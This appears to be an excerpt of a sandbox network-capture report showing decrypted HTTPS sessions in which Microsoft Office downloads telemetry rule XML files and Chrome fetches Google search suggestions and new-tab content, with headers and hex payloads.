2024-11-15 08:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: b07a2f6c-801e-0078-5da7-36bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085524Z-1866b5c5fbb9m92fhC1DFWwu780000000180000000002ks8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:24 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085524Z-1866b5c5fbbz7hb5hC1DFWru7c00000000y00000000079xr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:24 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: bf27f234-e01e-003c-2019-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085524Z-164f84587bfbvgrghC1DFWbs7w00000000vg00000000ed9z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.7	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:24 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 46cd4d21-b01e-0097-7b90-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085524Z-16547b76f7f76p6chC1DFWctqw0000000mzg000000009kde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:24 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:24 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 2fad41a2-601e-000d-6d82-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085524Z-164f84587bft9l9khC1DFW32rc00000000yg00000000bprb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:24 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:25 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:25 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 49ec1b2f-d01e-00ad-3aaf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085525Z-16547b76f7fffb7lhC1DFWdsxg000000014g00000000esz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:25 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49780	142.250.186.164	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:25 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 08:55:25 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:25 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-k8bA-SWqNbh3ChR0x24kUA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-15 08:55:25 UTC	112	IN	Data Raw: 66 66 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 67 65 6e 65 72 61 6c 20 68 6f 73 70 69 74 61 6c 20 73 70 6f 69 6c 65 72 73 20 77 69 6c 6c 6f 77 22 2c 22 64 72 61 67 6f 6e 20 71 75 65 73 74 20 33 20 68 64 20 32 64 20 72 65 6d 61 6b 65 22 2c 22 72 6f 6b 69 20 73 61 73 61 6b 69 20 64 6f 64 67 65 72 73 22 2c 22 79 65 6c 6c 6f 77 73 74 6f Data Ascii: ff2)]}'["",["general hospital spoilers willow","dragon quest 3 hd 2d remake","roki sasaki dodgers","yellowsto
2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 6e 65 20 6e 61 74 69 6f 6e 61 6c 20 70 61 72 6b 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 69 74 79 20 62 65 6e 65 66 69 74 73 22 2c 22 6a 75 6c 69 6f 6e 20 61 6c 76 61 72 65 7a 20 63 6f 6e 63 65 72 74 20 74 69 63 6b 65 74 73 22 2c 22 6a 75 73 74 69 6e 20 77 69 6c 73 6f 6e 20 72 65 64 20 73 6f 78 22 2c 22 73 74 65 61 6c 74 68 79 20 73 6f 61 72 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 72 65 77 61 72 64 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 Data Ascii: ne national park","social security benefits","julion alvarez concert tickets","justin wilson red sox","stealthy soar monopoly go rewards"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmR
2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 49 62 48 42 74 51 30 74 46 55 6c 70 6b 64 44 67 34 5a 44 56 76 5a 44 4e 4b 54 6b 70 6a 62 47 64 4f 63 32 52 50 55 48 70 59 55 32 4a 79 53 58 52 53 57 55 52 4d 56 48 6c 43 4d 46 70 42 51 30 30 31 53 44 46 48 64 44 56 68 65 55 74 75 64 47 39 4e 61 6e 51 30 59 31 4e 4a 53 45 6c 52 61 30 6c 6c 64 6c 68 36 65 44 49 78 52 57 4e 46 56 6c 5a 55 54 6e 64 75 54 6c 46 53 55 6b 64 6a 65 44 46 53 4f 54 6c 45 65 55 4e 46 51 54 6b 34 52 57 4d 35 4d 30 78 48 64 48 56 4b 59 57 6b 34 53 6b 31 7a 56 6c 42 4a 64 6e 4d 33 63 33 41 34 53 31 4e 4a 53 46 6b 79 54 55 46 75 55 48 6c 36 62 31 64 77 52 6d 78 4a 54 7a 52 79 61 47 68 6a 4d 6e 6b 31 64 30 35 35 5a 6d 64 57 57 69 73 79 52 6d 4a 52 53 45 63 78 4d 57 78 5a 51 30 46 45 4b 31 6c 6c 5a 57 6c 4b 57 6b 34 35 56 6b 56 79 5a 32 Data Ascii: IbHBtQ0tFUlpkdDg4ZDVvZDNKTkpjbGdOc2RPUHpYU2JySXRSWURMVHlCMFpBQ001SDFHdDVheUtudG9NanQ0Y1NJSElRa0lldlh6eDIxRWNFVlZUTnduTlFSUkdjeDFSOTlEeUNFQTk4RWM5M0xHdHVKYWk4Sk1zVlBJdnM3c3A4S1NJSFkyTUFuUHl6b1dwRmxJTzRyaGhjMnk1d055ZmdWWisyRmJRSEcxMWxZQ0FEK1llZWlKWk45VkVyZ2
2024-11-15 08:55:25 UTC	1221	IN	Data Raw: 6b 31 75 52 33 4e 68 64 54 5a 57 54 6e 68 75 52 6b 70 50 4c 32 6b 78 55 57 6c 51 53 32 56 55 5a 58 4e 4c 4b 32 4a 46 52 45 70 51 55 47 74 4e 4b 33 5a 73 4e 31 55 7a 4d 55 78 69 56 45 70 53 56 7a 6c 6b 61 30 74 6d 62 47 68 47 4e 6b 46 6d 63 6a 67 35 55 33 4a 74 65 6b 31 7a 57 6b 6c 4a 54 30 38 35 63 57 38 79 4f 54 45 31 54 48 46 79 51 54 63 34 4c 33 64 43 4e 79 74 68 4b 32 56 4c 4e 33 6c 49 63 56 70 5a 59 32 78 74 59 30 35 30 51 55 68 4a 62 6b 64 43 4e 6c 6f 76 64 48 46 6a 63 7a 6c 6c 4d 55 64 61 61 6b 39 31 4e 57 35 34 5a 30 77 79 65 48 42 71 64 7a 56 55 51 7a 6c 6a 55 32 55 77 65 6c 4a 50 4d 55 5a 48 63 6d 55 76 5a 32 68 54 51 55 31 42 57 6a 67 34 62 6b 39 79 59 69 39 4d 4f 57 6c 35 55 32 46 57 55 31 51 78 54 7a 67 32 62 45 35 4b 52 6b 4e 75 62 48 59 32 Data Ascii: k1uR3NhdTZWTnhuRkpPL2kxUWlQS2VUZXNLK2JFREpQUGtNK3ZsN1UzMUxiVEpSVzlka0tmbGhGNkFmcjg5U3Jtek1zWklJT085cW8yOTE1THFyQTc4L3dCNythK2VLN3lIcVpZY2xtY050QUhJbkdCNlovdHFjczllMUdaak91NW54Z0wyeHBqdzVUQzljU2UwelJPMUZHcmUvZ2hTQU1BWjg4bk9yYi9MOWl5U2FWU1QxTzg2bE5KRkNubHY2
2024-11-15 08:55:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	49782	142.250.186.164	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:25 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 08:55:25 UTC	1018	IN	HTTP/1.1 200 OK Version: 695623535 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 15 Nov 2024 08:55:25 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-15 08:55:25 UTC	360	IN	Data Raw: 33 37 66 39 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 37f9)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
